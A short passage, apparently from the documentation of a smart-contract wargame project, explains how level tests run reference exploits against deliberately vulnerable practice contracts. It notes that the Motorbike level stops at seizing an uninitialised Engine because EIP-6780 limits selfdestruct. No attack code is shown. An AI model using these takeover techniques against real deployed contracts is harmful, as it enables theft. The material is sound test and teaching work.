Each level test proves a fresh instance is unsolved, runs the reference exploit (contracts/src/attacks/* or the equivalent steps) and asserts Lux records completion. Motorbike stops at seizing the uninitialised Engine: its "engine destroyed" completion needs selfdestruct to delete code, which EIP-6780 forbids across transactions on the Cancun baseline, so the test proves the seizure and documents the limit.
